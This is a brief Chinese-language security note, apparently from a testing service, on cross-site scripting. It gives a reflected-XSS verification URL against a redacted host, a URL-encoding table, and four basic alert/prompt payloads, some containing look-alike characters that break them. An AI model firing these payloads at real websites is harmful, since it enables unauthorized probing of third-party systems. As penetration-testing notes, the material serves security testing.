【信息安全服务】关于XSS 详细整理

【前言】

进无止境不应该也不能是一句口号。

---

Xss url 验证

http://xxxxxx/connector/more?type=5123%3C%2fscript%3E%3Cscript%3Ealert(123)%3C/script%3E

注：5123%3C%2fscript%3E%3Cscript%3Ealert(123)%3C/script%3E

URL解码：5123</script><script>alert(123)</script>

---

URL编码：

<  %3C  

/  %2f

>  %3E

---

构造xss payload

1. ceshi<button/οnclick=prompt(1)>M</button>
2. <script>alert(/xss/)</script>
3. <img src=’non-exist.jpg’ οnerrοr=”alert(‘xss’)”>
4. GET /XXXX/XXX/<script>alert(123)</script>